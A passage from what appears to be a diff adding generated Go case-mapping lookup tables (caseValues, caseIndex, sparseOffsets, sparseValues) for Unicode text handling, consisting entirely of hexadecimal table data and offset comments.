0x3e2: 0x7d3a, 0x3e3: 0x7e7a, + 0x3e4: 0x7fba, 0x3e5: 0x0912, 0x3e6: 0x809a, 0x3e7: 0x817a, 0x3e8: 0x0813, 0x3e9: 0x0813, + 0x3ea: 0xa153, 0x3eb: 0xa153, 0x3ec: 0x0913, 0x3ed: 0x0004, 0x3ee: 0x0004, 0x3ef: 0x0004, + 0x3f2: 0x82ba, 0x3f3: 0x83ca, 0x3f4: 0x849a, + 0x3f6: 0x857a, 0x3f7: 0x865a, 0x3f8: 0x9e53, 0x3f9: 0x9e53, 0x3fa: 0x4d53, 0x3fb: 0x4d53, + 0x3fc: 0x8799, 0x3fd: 0x0004, 0x3fe: 0x0004, + // Block 0x10, offset 0x400 + 0x402: 0x0013, + 0x407: 0x0013, 0x40a: 0x0012, 0x40b: 0x0013, + 0x40c: 0x0013, 0x40d: 0x0013, 0x40e: 0x0012, 0x40f: 0x0012, 0x410: 0x0013, 0x411: 0x0013, + 0x412: 0x0013, 0x413: 0x0012, 0x415: 0x0013, + 0x419: 0x0013, 0x41a: 0x0013, 0x41b: 0x0013, 0x41c: 0x0013, 0x41d: 0x0013, + 0x424: 0x0013, 0x426: 0x886b, 0x428: 0x0013, + 0x42a: 0x88cb, 0x42b: 0x890b, 0x42c: 0x0013, 0x42d: 0x0013, 0x42f: 0x0012, + 0x430: 0x0013, 0x431: 0x0013, 0x432: 0xa453, 0x433: 0x0013, 0x434: 0x0012, 0x435: 0x0010, + 0x436: 0x0010, 0x437: 0x0010, 0x438: 0x0010, 0x439: 0x0012, + 0x43c: 0x0012, 0x43d: 0x0012, 0x43e: 0x0013, 0x43f: 0x0013, + // Block 0x11, offset 0x440 + 0x440: 0x1a13, 0x441: 0x1a13, 0x442: 0x1e13, 0x443: 0x1e13, 0x444: 0x1a13, 0x445: 0x1a13, + 0x446: 0x2613, 0x447: 0x2613, 0x448: 0x2a13, 0x449: 0x2a13, 0x44a: 0x2e13, 0x44b: 0x2e13, + 0x44c: 0x2a13, 0x44d: 0x2a13, 0x44e: 0x2613, 0x44f: 0x2613, 0x450: 0xa752, 0x451: 0xa752, + 0x452: 0xaa52, 0x453: 0xaa52, 0x454: 0xad52, 0x455: 0xad52, 0x456: 0xaa52, 0x457: 0xaa52, + 0x458: 0xa752, 0x459: 0xa752, 0x45a: 0x1a12, 0x45b: 0x1a12, 0x45c: 0x1e12, 0x45d: 0x1e12, + 0x45e: 0x1a12, 0x45f: 0x1a12, 0x460: 0x2612, 0x461: 0x2612, 0x462: 0x2a12, 0x463: 0x2a12, + 0x464: 0x2e12, 0x465: 0x2e12, 0x466: 0x2a12, 0x467: 0x2a12, 0x468: 0x2612, 0x469: 0x2612, + // Block 0x12, offset 0x480 + 0x480: 0x6552, 0x481: 0x6552, 0x482: 0x6552, 0x483: 0x6552, 0x484: 0x6552, 0x485: 0x6552, + 0x486: 0x6552, 0x487: 0x6552, 0x488: 0x6552, 0x489: 0x6552, 0x48a: 0x6552, 0x48b: 0x6552, + 0x48c: 0x6552, 0x48d: 0x6552, 0x48e: 0x6552, 0x48f: 0x6552, 0x490: 0xb052, 0x491: 0xb052, + 0x492: 0xb052, 0x493: 0xb052, 0x494: 0xb052, 0x495: 0xb052, 0x496: 0xb052, 0x497: 0xb052, + 0x498: 0xb052, 0x499: 0xb052, 0x49a: 0xb052, 0x49b: 0xb052, 0x49c: 0xb052, 0x49d: 0xb052, + 0x49e: 0xb052, 0x49f: 0xb052, 0x4a0: 0x0113, 0x4a1: 0x0112, 0x4a2: 0x896b, 0x4a3: 0x8b53, + 0x4a4: 0x89cb, 0x4a5: 0x8a2a, 0x4a6: 0x8a8a, 0x4a7: 0x0f13, 0x4a8: 0x0f12, 0x4a9: 0x0313, + 0x4aa: 0x0312, 0x4ab: 0x0713, 0x4ac: 0x0712, 0x4ad: 0x8aeb, 0x4ae: 0x8b4b, 0x4af: 0x8bab, + 0x4b0: 0x8c0b, 0x4b1: 0x0012, 0x4b2: 0x0113, 0x4b3: 0x0112, 0x4b4: 0x0012, 0x4b5: 0x0313, + 0x4b6: 0x0312, 0x4b7: 0x0012, 0x4b8: 0x0012, 0x4b9: 0x0012, 0x4ba: 0x0012, 0x4bb: 0x0012, + 0x4bc: 0x0015, 0x4bd: 0x0015, 0x4be: 0x8c6b, 0x4bf: 0x8ccb, + // Block 0x13, offset 0x4c0 + 0x4c0: 0x0113, 0x4c1: 0x0112, 0x4c2: 0x0113, 0x4c3: 0x0112, 0x4c4: 0x0113, 0x4c5: 0x0112, + 0x4c6: 0x0113, 0x4c7: 0x0112, 0x4c8: 0x0014, 0x4c9: 0x0014, 0x4ca: 0x0014, 0x4cb: 0x0713, + 0x4cc: 0x0712, 0x4cd: 0x8d2b, 0x4ce: 0x0012, 0x4cf: 0x0010, 0x4d0: 0x0113, 0x4d1: 0x0112, + 0x4d2: 0x0113, 0x4d3: 0x0112, 0x4d4: 0x6552, 0x4d5: 0x0012, 0x4d6: 0x0113, 0x4d7: 0x0112, + 0x4d8: 0x0113, 0x4d9: 0x0112, 0x4da: 0x0113, 0x4db: 0x0112, 0x4dc: 0x0113, 0x4dd: 0x0112, + 0x4de: 0x0113, 0x4df: 0x0112, 0x4e0: 0x0113, 0x4e1: 0x0112, 0x4e2: 0x0113, 0x4e3: 0x0112, + 0x4e4: 0x0113, 0x4e5: 0x0112, 0x4e6: 0x0113, 0x4e7: 0x0112, 0x4e8: 0x0113, 0x4e9: 0x0112, + 0x4ea: 0x8d8b, 0x4eb: 0x8deb, 0x4ec: 0x8e4b, 0x4ed: 0x8eab, 0x4ee: 0x8f0b, 0x4ef: 0x0012, + 0x4f0: 0x8f6b, 0x4f1: 0x8fcb, 0x4f2: 0x902b, 0x4f3: 0xb353, 0x4f4: 0x0113, 0x4f5: 0x0112, + 0x4f6: 0x0113, 0x4f7: 0x0112, 0x4f8: 0x0113, 0x4f9: 0x0112, 0x4fa: 0x0113, 0x4fb: 0x0112, + 0x4fc: 0x0113, 0x4fd: 0x0112, 0x4fe: 0x0113, 0x4ff: 0x0112, + // Block 0x14, offset 0x500 + 0x500: 0x90ea, 0x501: 0x916a, 0x502: 0x91ea, 0x503: 0x926a, 0x504: 0x931a, 0x505: 0x93ca, + 0x506: 0x944a, + 0x513: 0x94ca, 0x514: 0x95aa, 0x515: 0x968a, 0x516: 0x976a, 0x517: 0x984a, + 0x51d: 0x0010, + 0x51e: 0x0034, 0x51f: 0x0010, 0x520: 0x0010, 0x521: 0x0010, 0x522: 0x0010, 0x523: 0x0010, + 0x524: 0x0010, 0x525: 0x0010, 0x526: 0x0010, 0x527: 0x0010, 0x528: 0x0010, + 0x52a: 0x0010, 0x52b: 0x0010, 0x52c: 0x0010, 0x52d: 0x0010, 0x52e: 0x0010, 0x52f: 0x0010, + 0x530: 0x0010, 0x531: 0x0010, 0x532: 0x0010, 0x533: 0x0010, 0x534: 0x0010, 0x535: 0x0010, + 0x536: 0x0010, 0x538: 0x0010, 0x539: 0x0010, 0x53a: 0x0010, 0x53b: 0x0010, + 0x53c: 0x0010, 0x53e: 0x0010, + // Block 0x15, offset 0x540 + 0x540: 0x2713, 0x541: 0x2913, 0x542: 0x2b13, 0x543: 0x2913, 0x544: 0x2f13, 0x545: 0x2913, + 0x546: 0x2b13, 0x547: 0x2913, 0x548: 0x2713, 0x549: 0x3913, 0x54a: 0x3b13, + 0x54c: 0x3f13, 0x54d: 0x3913, 0x54e: 0x3b13, 0x54f: 0x3913, 0x550: 0x2713, 0x551: 0x2913, + 0x552: 0x2b13, 0x554: 0x2f13, 0x555: 0x2913, 0x557: 0xbc52, + 0x558: 0xbf52, 0x559: 0xc252, 0x55a: 0xbf52, 0x55b: 0xc552, 0x55c: 0xbf52, 0x55d: 0xc252, + 0x55e: 0xbf52, 0x55f: 0xbc52, 0x560: 0xc852, 0x561: 0xcb52, 0x563: 0xce52, + 0x564: 0xc852, 0x565: 0xcb52, 0x566: 0xc852, 0x567: 0x2712, 0x568: 0x2912, 0x569: 0x2b12, + 0x56a: 0x2912, 0x56b: 0x2f12, 0x56c: 0x2912, 0x56d: 0x2b12, 0x56e: 0x2912, 0x56f: 0x2712, + 0x570: 0x3912, 0x571: 0x3b12, 0x573: 0x3f12, 0x574: 0x3912, 0x575: 0x3b12, + 0x576: 0x3912, 0x577: 0x2712, 0x578: 0x2912, 0x579: 0x2b12, 0x57b: 0x2f12, + 0x57c: 0x2912, + // Block 0x16, offset 0x580 + 0x580: 0x2213, 0x581: 0x2213, 0x582: 0x2613, 0x583: 0x2613, 0x584: 0x2213, 0x585: 0x2213, + 0x586: 0x2e13, 0x587: 0x2e13, 0x588: 0x2213, 0x589: 0x2213, 0x58a: 0x2613, 0x58b: 0x2613, + 0x58c: 0x2213, 0x58d: 0x2213, 0x58e: 0x3e13, 0x58f: 0x3e13, 0x590: 0x2213, 0x591: 0x2213, + 0x592: 0x2613, 0x593: 0x2613, 0x594: 0x2213, 0x595: 0x2213, 0x596: 0x2e13, 0x597: 0x2e13, + 0x598: 0x2213, 0x599: 0x2213, 0x59a: 0x2613, 0x59b: 0x2613, 0x59c: 0x2213, 0x59d: 0x2213, + 0x59e: 0xd153, 0x59f: 0xd153, 0x5a0: 0xd453, 0x5a1: 0xd453, 0x5a2: 0x2212, 0x5a3: 0x2212, + 0x5a4: 0x2612, 0x5a5: 0x2612, 0x5a6: 0x2212, 0x5a7: 0x2212, 0x5a8: 0x2e12, 0x5a9: 0x2e12, + 0x5aa: 0x2212, 0x5ab: 0x2212, 0x5ac: 0x2612, 0x5ad: 0x2612, 0x5ae: 0x2212, 0x5af: 0x2212, + 0x5b0: 0x3e12, 0x5b1: 0x3e12, 0x5b2: 0x2212, 0x5b3: 0x2212, 0x5b4: 0x2612, 0x5b5: 0x2612, + 0x5b6: 0x2212, 0x5b7: 0x2212, 0x5b8: 0x2e12, 0x5b9: 0x2e12, 0x5ba: 0x2212, 0x5bb: 0x2212, + 0x5bc: 0x2612, 0x5bd: 0x2612, 0x5be: 0x2212, 0x5bf: 0x2212, + // Block 0x17, offset 0x5c0 + 0x5c2: 0x0010, + 0x5c7: 0x0010, 0x5c9: 0x0010, 0x5cb: 0x0010, + 0x5cd: 0x0010, 0x5ce: 0x0010, 0x5cf: 0x0010, 0x5d1: 0x0010, + 0x5d2: 0x0010, 0x5d4: 0x0010, 0x5d7: 0x0010, + 0x5d9: 0x0010, 0x5db: 0x0010, 0x5dd: 0x0010, + 0x5df: 0x0010, 0x5e1: 0x0010, 0x5e2: 0x0010, + 0x5e4: 0x0010, 0x5e7: 0x0010, 0x5e8: 0x0010, 0x5e9: 0x0010, + 0x5ea: 0x0010, 0x5ec: 0x0010, 0x5ed: 0x0010, 0x5ee: 0x0010, 0x5ef: 0x0010, + 0x5f0: 0x0010, 0x5f1: 0x0010, 0x5f2: 0x0010, 0x5f4: 0x0010, 0x5f5: 0x0010, + 0x5f6: 0x0010, 0x5f7: 0x0010, 0x5f9: 0x0010, 0x5fa: 0x0010, 0x5fb: 0x0010, + 0x5fc: 0x0010, 0x5fe: 0x0010, +} + +// caseIndex: 27 blocks, 1728 entries, 3456 bytes +// Block 0 is the zero block. +var caseIndex = [1728]uint16{ + // Block 0x0, offset 0x0 + // Block 0x1, offset 0x40 + // Block 0x2, offset 0x80 + // Block 0x3, offset 0xc0 + 0xc2: 0x16, 0xc3: 0x17, 0xc4: 0x18, 0xc5: 0x19, 0xc6: 0x01, 0xc7: 0x02, + 0xc8: 0x1a, 0xc9: 0x03, 0xca: 0x04, 0xcb: 0x1b, 0xcc: 0x1c, 0xcd: 0x05, 0xce: 0x06, 0xcf: 0x07, + 0xd0: 0x1d, 0xd1: 0x1e, 0xd2: 0x1f, 0xd3: 0x20, 0xd4: 0x21, 0xd5: 0x22, 0xd6: 0x08, 0xd7: 0x23, + 0xd8: 0x24, 0xd9: 0x25, 0xda: 0x26, 0xdb: 0x27, 0xdc: 0x28, 0xdd: 0x29, 0xde: 0x2a, 0xdf: 0x2b, + 0xe0: 0x02, 0xe1: 0x03, 0xe2: 0x04, 0xe3: 0x05, + 0xea: 0x06, 0xeb: 0x07, 0xec: 0x07, 0xed: 0x08, 0xef: 0x09, + 0xf0: 0x16, 0xf3: 0x18, + // Block 0x4, offset 0x100 + 0x120: 0x2c, 0x121: 0x2d, 0x122: 0x2e, 0x123: 0x09, 0x124: 0x2f, 0x125: 0x30, 0x126: 0x31, 0x127: 0x32, + 0x128: 0x33, 0x129: 0x34, 0x12a: 0x35, 0x12b: 0x36, 0x12c: 0x37, 0x12d: 0x38, 0x12e: 0x39, 0x12f: 0x3a, + 0x130: 0x3b, 0x131: 0x3c, 0x132: 0x3d, 0x133: 0x3e, 0x134: 0x3f, 0x135: 0x40, 0x136: 0x41, 0x137: 0x42, + 0x138: 0x43, 0x139: 0x44, 0x13a: 0x45, 0x13b: 0x46, 0x13c: 0x47, 0x13d: 0x48, 0x13e: 0x49, 0x13f: 0x4a, + // Block 0x5, offset 0x140 + 0x140: 0x4b, 0x141: 0x4c, 0x142: 0x4d, 0x143: 0x0a, 0x144: 0x26, 0x145: 0x26, 0x146: 0x26, 0x147: 0x26, + 0x148: 0x26, 0x149: 0x4e, 0x14a: 0x4f, 0x14b: 0x50, 0x14c: 0x51, 0x14d: 0x52, 0x14e: 0x53, 0x14f: 0x54, + 0x150: 0x55, 0x151: 0x26, 0x152: 0x26, 0x153: 0x26, 0x154: 0x26, 0x155: 0x26, 0x156: 0x26, 0x157: 0x26, + 0x158: 0x26, 0x159: 0x56, 0x15a: 0x57, 0x15b: 0x58, 0x15c: 0x59, 0x15d: 0x5a, 0x15e: 0x5b, 0x15f: 0x5c, + 0x160: 0x5d, 0x161: 0x5e, 0x162: 0x5f, 0x163: 0x60, 0x164: 0x61, 0x165: 0x62, 0x167: 0x63, + 0x168: 0x64, 0x169: 0x65, 0x16a: 0x66, 0x16b: 0x67, 0x16c: 0x68, 0x16d: 0x69, 0x16e: 0x6a, 0x16f: 0x6b, + 0x170: 0x6c, 0x171: 0x6d, 0x172: 0x6e, 0x173: 0x6f, 0x174: 0x70, 0x175: 0x71, 0x176: 0x72, 0x177: 0x73, + 0x178: 0x74, 0x179: 0x74, 0x17a: 0x75, 0x17b: 0x74, 0x17c: 0x76, 0x17d: 0x0b, 0x17e: 0x0c, 0x17f: 0x0d, + // Block 0x6, offset 0x180 + 0x180: 0x77, 0x181: 0x78, 0x182: 0x79, 0x183: 0x7a, 0x184: 0x0e, 0x185: 0x7b, 0x186: 0x7c, + 0x192: 0x7d, 0x193: 0x0f, + 0x1b0: 0x7e, 0x1b1: 0x10, 0x1b2: 0x74, 0x1b3: 0x7f, 0x1b4: 0x80, 0x1b5: 0x81, 0x1b6: 0x82, 0x1b7: 0x83, + 0x1b8: 0x84, + // Block 0x7, offset 0x1c0 + 0x1c0: 0x85, 0x1c2: 0x86, 0x1c3: 0x87, 0x1c4: 0x88, 0x1c5: 0x26, 0x1c6: 0x89, + // Block 0x8, offset 0x200 + 0x200: 0x8a, 0x201: 0x26, 0x202: 0x26, 0x203: 0x26, 0x204: 0x26, 0x205: 0x26, 0x206: 0x26, 0x207: 0x26, + 0x208: 0x26, 0x209: 0x26, 0x20a: 0x26, 0x20b: 0x26, 0x20c: 0x26, 0x20d: 0x26, 0x20e: 0x26, 0x20f: 0x26, + 0x210: 0x26, 0x211: 0x26, 0x212: 0x8b, 0x213: 0x8c, 0x214: 0x26, 0x215: 0x26, 0x216: 0x26, 0x217: 0x26, + 0x218: 0x8d, 0x219: 0x8e, 0x21a: 0x8f, 0x21b: 0x90, 0x21c: 0x91, 0x21d: 0x92, 0x21e: 0x11, 0x21f: 0x93, + 0x220: 0x94, 0x221: 0x95, 0x222: 0x26, 0x223: 0x96, 0x224: 0x97, 0x225: 0x98, 0x226: 0x99, 0x227: 0x9a, + 0x228: 0x9b, 0x229: 0x9c, 0x22a: 0x9d, 0x22b: 0x9e, 0x22c: 0x9f, 0x22d: 0xa0, 0x22e: 0xa1, 0x22f: 0xa2, + 0x230: 0x26, 0x231: 0x26, 0x232: 0x26, 0x233: 0x26, 0x234: 0x26, 0x235: 0x26, 0x236: 0x26, 0x237: 0x26, + 0x238: 0x26, 0x239: 0x26, 0x23a: 0x26, 0x23b: 0x26, 0x23c: 0x26, 0x23d: 0x26, 0x23e: 0x26, 0x23f: 0x26, + // Block 0x9, offset 0x240 + 0x240: 0x26, 0x241: 0x26, 0x242: 0x26, 0x243: 0x26, 0x244: 0x26, 0x245: 0x26, 0x246: 0x26, 0x247: 0x26, + 0x248: 0x26, 0x249: 0x26, 0x24a: 0x26, 0x24b: 0x26, 0x24c: 0x26, 0x24d: 0x26, 0x24e: 0x26, 0x24f: 0x26, + 0x250: 0x26, 0x251: 0x26, 0x252: 0x26, 0x253: 0x26, 0x254: 0x26, 0x255: 0x26, 0x256: 0x26, 0x257: 0x26, + 0x258: 0x26, 0x259: 0x26, 0x25a: 0x26, 0x25b: 0x26, 0x25c: 0x26, 0x25d: 0x26, 0x25e: 0x26, 0x25f: 0x26, + 0x260: 0x26, 0x261: 0x26, 0x262: 0x26, 0x263: 0x26, 0x264: 0x26, 0x265: 0x26, 0x266: 0x26, 0x267: 0x26, + 0x268: 0x26, 0x269: 0x26, 0x26a: 0x26, 0x26b: 0x26, 0x26c: 0x26, 0x26d: 0x26, 0x26e: 0x26, 0x26f: 0x26, + 0x270: 0x26, 0x271: 0x26, 0x272: 0x26, 0x273: 0x26, 0x274: 0x26, 0x275: 0x26, 0x276: 0x26, 0x277: 0x26, + 0x278: 0x26, 0x279: 0x26, 0x27a: 0x26, 0x27b: 0x26, 0x27c: 0x26, 0x27d: 0x26, 0x27e: 0x26, 0x27f: 0x26, + // Block 0xa, offset 0x280 + 0x280: 0x26, 0x281: 0x26, 0x282: 0x26, 0x283: 0x26, 0x284: 0x26, 0x285: 0x26, 0x286: 0x26, 0x287: 0x26, + 0x288: 0x26, 0x289: 0x26, 0x28a: 0x26, 0x28b: 0x26, 0x28c: 0x26, 0x28d: 0x26, 0x28e: 0x26, 0x28f: 0x26, + 0x290: 0x26, 0x291: 0x26, 0x292: 0x26, 0x293: 0x26, 0x294: 0x26, 0x295: 0x26, 0x296: 0x26, 0x297: 0x26, + 0x298: 0x26, 0x299: 0x26, 0x29a: 0x26, 0x29b: 0x26, 0x29c: 0x26, 0x29d: 0x26, 0x29e: 0xa3, 0x29f: 0xa4, + // Block 0xb, offset 0x2c0 + 0x2ec: 0x12, 0x2ed: 0xa5, 0x2ee: 0xa6, 0x2ef: 0xa7, + 0x2f0: 0x26, 0x2f1: 0x26, 0x2f2: 0x26, 0x2f3: 0x26, 0x2f4: 0xa8, 0x2f5: 0xa9, 0x2f6: 0xaa, 0x2f7: 0xab, + 0x2f8: 0xac, 0x2f9: 0xad, 0x2fa: 0x26, 0x2fb: 0xae, 0x2fc: 0xaf, 0x2fd: 0xb0, 0x2fe: 0xb1, 0x2ff: 0xb2, + // Block 0xc, offset 0x300 + 0x300: 0xb3, 0x301: 0xb4, 0x302: 0x26, 0x303: 0xb5, 0x305: 0xb6, 0x307: 0xb7, + 0x30a: 0xb8, 0x30b: 0xb9, 0x30c: 0xba, 0x30d: 0xbb, 0x30e: 0xbc, 0x30f: 0xbd, + 0x310: 0xbe, 0x311: 0xbf, 0x312: 0xc0, 0x313: 0xc1, 0x314: 0xc2, 0x315: 0xc3, 0x316: 0x13, + 0x318: 0x26, 0x319: 0x26, 0x31a: 0x26, 0x31b: 0x26, 0x31c: 0xc4, 0x31d: 0xc5, 0x31e: 0xc6, + 0x320: 0xc7, 0x321: 0xc8, 0x322: 0xc9, 0x323: 0xca, 0x324: 0xcb, 0x326: 0xcc, + 0x328: 0xcd, 0x329: 0xce, 0x32a: 0xcf, 0x32b: 0xd0, 0x32c: 0x60, 0x32d: 0xd1, 0x32e: 0xd2, + 0x330: 0x26, 0x331: 0xd3, 0x332: 0xd4, 0x333: 0xd5, 0x334: 0xd6, + 0x33a: 0xd7, 0x33b: 0xd8, 0x33c: 0xd9, 0x33d: 0xda, 0x33e: 0xdb, 0x33f: 0xdc, + // Block 0xd, offset 0x340 + 0x340: 0xdd, 0x341: 0xde, 0x342: 0xdf, 0x343: 0xe0, 0x344: 0xe1, 0x345: 0xe2, 0x346: 0xe3, 0x347: 0xe4, + 0x348: 0xe5, 0x349: 0xe6, 0x34a: 0xe7, 0x34b: 0xe8, 0x34c: 0xe9, 0x34d: 0xea, + 0x350: 0xeb, 0x351: 0xec, 0x352: 0xed, 0x353: 0xee, 0x356: 0xef, 0x357: 0xf0, + 0x358: 0xf1, 0x359: 0xf2, 0x35a: 0xf3, 0x35b: 0xf4, 0x35c: 0xf5, + 0x360: 0xf6, 0x362: 0xf7, 0x363: 0xf8, 0x364: 0xf9, 0x365: 0xfa, 0x366: 0xfb, 0x367: 0xfc, + 0x368: 0xfd, 0x369: 0xfe, 0x36a: 0xff, 0x36b: 0x100, + 0x370: 0x101, 0x371: 0x102, 0x372: 0x103, 0x374: 0x104, 0x375: 0x105, 0x376: 0x106, + 0x37b: 0x107, 0x37c: 0x108, 0x37d: 0x109, 0x37e: 0x10a, + // Block 0xe, offset 0x380 + 0x380: 0x26, 0x381: 0x26, 0x382: 0x26, 0x383: 0x26, 0x384: 0x26, 0x385: 0x26, 0x386: 0x26, 0x387: 0x26, + 0x388: 0x26, 0x389: 0x26, 0x38a: 0x26, 0x38b: 0x26, 0x38c: 0x26, 0x38d: 0x26, 0x38e: 0x10b, + 0x390: 0x26, 0x391: 0x10c, 0x392: 0x26, 0x393: 0x26, 0x394: 0x26, 0x395: 0x10d, + 0x3be: 0xa9, 0x3bf: 0x10e, + // Block 0xf, offset 0x3c0 + 0x3c0: 0x26, 0x3c1: 0x26, 0x3c2: 0x26, 0x3c3: 0x26, 0x3c4: 0x26, 0x3c5: 0x26, 0x3c6: 0x26, 0x3c7: 0x26, + 0x3c8: 0x26, 0x3c9: 0x26, 0x3ca: 0x26, 0x3cb: 0x26, 0x3cc: 0x26, 0x3cd: 0x26, 0x3ce: 0x26, 0x3cf: 0x26, + 0x3d0: 0x10f, 0x3d1: 0x110, + // Block 0x10, offset 0x400 + 0x410: 0x26, 0x411: 0x26, 0x412: 0x26, 0x413: 0x26, 0x414: 0x26, 0x415: 0x26, 0x416: 0x26, 0x417: 0x26, + 0x418: 0x26, 0x419: 0x111, + // Block 0x11, offset 0x440 + 0x460: 0x26, 0x461: 0x26, 0x462: 0x26, 0x463: 0x26, 0x464: 0x26, 0x465: 0x26, 0x466: 0x26, 0x467: 0x26, + 0x468: 0x100, 0x469: 0x112, 0x46a: 0x113, 0x46b: 0x114, 0x46c: 0x115, 0x46d: 0x116, 0x46e: 0x117, + 0x479: 0x118, 0x47c: 0x26, 0x47d: 0x119, 0x47e: 0x11a, 0x47f: 0x11b, + // Block 0x12, offset 0x480 + 0x4bf: 0x11c, + // Block 0x13, offset 0x4c0 + 0x4f0: 0x26, 0x4f1: 0x11d, 0x4f2: 0x11e, + // Block 0x14, offset 0x500 + 0x53c: 0x11f, 0x53d: 0x120, + // Block 0x15, offset 0x540 + 0x545: 0x121, 0x546: 0x122, + 0x549: 0x123, + 0x550: 0x124, 0x551: 0x125, 0x552: 0x126, 0x553: 0x127, 0x554: 0x128, 0x555: 0x129, 0x556: 0x12a, 0x557: 0x12b, + 0x558: 0x12c, 0x559: 0x12d, 0x55a: 0x12e, 0x55b: 0x12f, 0x55c: 0x130, 0x55d: 0x131, 0x55e: 0x132, 0x55f: 0x133, + 0x568: 0x134, 0x569: 0x135, 0x56a: 0x136, + 0x57c: 0x137, + // Block 0x16, offset 0x580 + 0x580: 0x138, 0x581: 0x139, 0x582: 0x13a, 0x584: 0x13b, 0x585: 0x13c, + 0x58a: 0x13d, 0x58b: 0x13e, + 0x593: 0x13f, + 0x59f: 0x140, + 0x5a0: 0x26, 0x5a1: 0x26, 0x5a2: 0x26, 0x5a3: 0x141, 0x5a4: 0x14, 0x5a5: 0x142, + 0x5b8: 0x143, 0x5b9: 0x15, 0x5ba: 0x144, + // Block 0x17, offset 0x5c0 + 0x5c4: 0x145, 0x5c5: 0x146, 0x5c6: 0x147, + 0x5cf: 0x148, + 0x5ef: 0x149, + // Block 0x18, offset 0x600 + 0x610: 0x0a, 0x611: 0x0b, 0x612: 0x0c, 0x613: 0x0d, 0x614: 0x0e, 0x616: 0x0f, + 0x61a: 0x10, 0x61b: 0x11, 0x61c: 0x12, 0x61d: 0x13, 0x61e: 0x14, 0x61f: 0x15, + // Block 0x19, offset 0x640 + 0x640: 0x14a, 0x641: 0x14b, 0x644: 0x14b, 0x645: 0x14b, 0x646: 0x14b, 0x647: 0x14c, + // Block 0x1a, offset 0x680 + 0x6a0: 0x17, +} + +// sparseOffsets: 312 entries, 624 bytes +var sparseOffsets = []uint16{0x0, 0x9, 0xf, 0x18, 0x24, 0x2e, 0x34, 0x37, 0x3b, 0x3e, 0x42, 0x4c, 0x4e, 0x57, 0x5e, 0x63, 0x71, 0x72, 0x80, 0x8f, 0x99, 0x9c, 0xa3, 0xab, 0xaf, 0xb7, 0xbd, 0xcb, 0xd6, 0xe3, 0xee, 0xfa, 0x104, 0x110, 0x11b, 0x127, 0x133, 0x13b, 0x145, 0x150, 0x15b, 0x167, 0x16d, 0x178, 0x17e, 0x186, 0x189, 0x18e, 0x192, 0x196, 0x19d, 0x1a6, 0x1ae, 0x1af, 0x1b8, 0x1bf, 0x1c7, 0x1cd, 0x1d2, 0x1d6, 0x1d9, 0x1db, 0x1de, 0x1e3, 0x1e4, 0x1e6, 0x1e8, 0x1ea, 0x1f1, 0x1f6, 0x1fa, 0x203, 0x206, 0x209, 0x20f, 0x210, 0x21b, 0x21c, 0x21d, 0x222, 0x22f, 0x238, 0x23e, 0x246, 0x24f, 0x258, 0x261, 0x266, 0x269, 0x274, 0x282, 0x284, 0x28b, 0x28f, 0x29b, 0x29c, 0x2a7, 0x2af, 0x2b7, 0x2bd, 0x2be, 0x2cc, 0x2d1, 0x2d4, 0x2d9, 0x2dd, 0x2e3, 0x2e8, 0x2eb, 0x2f0, 0x2f5, 0x2f6, 0x2fc, 0x2fe, 0x2ff, 0x301, 0x303, 0x306, 0x307, 0x309, 0x30c, 0x312, 0x316, 0x318, 0x31d, 0x324, 0x334, 0x33e, 0x33f, 0x348, 0x34c, 0x351, 0x359, 0x35f, 0x365, 0x36f, 0x374, 0x37d, 0x383, 0x38c, 0x390, 0x398, 0x39a, 0x39c, 0x39f, 0x3a1, 0x3a3, 0x3a4, 0x3a5, 0x3a7, 0x3a9, 0x3af, 0x3b4, 0x3b6, 0x3bd, 0x3c0, 0x3c2, 0x3c8, 0x3cd, 0x3cf, 0x3d0, 0x3d1, 0x3d2, 0x3d4, 0x3d6, 0x3d8, 0x3db, 0x3dd, 0x3e0, 0x3e8, 0x3eb, 0x3ef, 0x3f7, 0x3f9, 0x409, 0x40a, 0x40c, 0x411, 0x417, 0x419, 0x41a, 0x41c, 0x41e, 0x420, 0x42d, 0x42e, 0x42f, 0x433, 0x435, 0x436, 0x437, 0x438, 0x439, 0x43c, 0x43f, 0x440, 0x443, 0x44a, 0x450, 0x452, 0x456, 0x45e, 0x464, 0x468, 0x46f, 0x473, 0x477, 0x480, 0x48a, 0x48c, 0x492, 0x498, 0x4a2, 0x4ac, 0x4ae, 0x4b7, 0x4bd, 0x4c3, 0x4c9, 0x4cc, 0x4d2, 0x4d5, 0x4de, 0x4df, 0x4e6, 0x4ea, 0x4eb, 0x4ee, 0x4f8, 0x4fb, 0x4fd, 0x504, 0x50c, 0x512, 0x519, 0x51a, 0x520, 0x523, 0x52b, 0x532, 0x53c, 0x544, 0x547, 0x54c, 0x550, 0x551, 0x552, 0x553, 0x554, 0x555, 0x557, 0x55a, 0x55b, 0x55e, 0x55f, 0x562, 0x564, 0x568, 0x569, 0x56b, 0x56e, 0x570, 0x573, 0x576, 0x578, 0x57d, 0x57f, 0x580, 0x585, 0x589, 0x58a, 0x58d, 0x591, 0x59c, 0x5a0, 0x5a8, 0x5ad, 0x5b1, 0x5b4, 0x5b8, 0x5bb, 0x5be, 0x5c3, 0x5c7, 0x5cb, 0x5cf, 0x5d3, 0x5d5, 0x5d7, 0x5da, 0x5de, 0x5e4, 0x5e5, 0x5e6, 0x5e9, 0x5eb, 0x5ed, 0x5f0, 0x5f5, 0x5f9, 0x5fb, 0x601, 0x60a, 0x60f, 0x610, 0x613, 0x614, 0x615, 0x616, 0x618, 0x619, 0x61a} + +// sparseValues: 1562 entries, 6248 bytes +var sparseValues = [1562]valueRange{ + // Block 0x0, offset 0x0 + {value: 0x0004, lo: 0xa8, hi: 0xa8}, + {value: 0x0012, lo: 0xaa, hi: 0xaa}, + {value: 0x0014, lo: 0xad, hi: 0xad}, + {value: 0x0004, lo: 0xaf, hi: 0xaf}, + {value: 0x0004, lo: 0xb4, hi: 0xb4}, + {value: 0x001a, lo: 0xb5, hi: 0xb5}, + {value: 0x0054, lo: 0xb7, hi: 0xb7}, + {value: 0x0004, lo: 0xb8, hi: 0xb8}, + {value: 0x0012, lo: 0xba, hi: 0xba}, + // Block 0x1, offset 0x9 + {value: 0x2013, lo: 0x80, hi: 0x96}, + {value: 0x2013, lo: 0x98, hi: 0x9e}, + {value: 0x009a, lo: 0x9f, hi: 0x9f}, + {value: 0x2012, lo: 0xa0, hi: 0xb6}, + {value: 0x2012, lo: 0xb8, hi: 0xbe}, + {value: 0x0252, lo: 0xbf, hi: 0xbf}, + // Block 0x2, offset 0xf + {value: 0x0117, lo: 0x80, hi: 0xaf}, + {value: 0x011b, lo: 0xb0, hi: 0xb0}, + {value: 0x019a, lo: 0xb1, hi: 0xb1}, + {value: 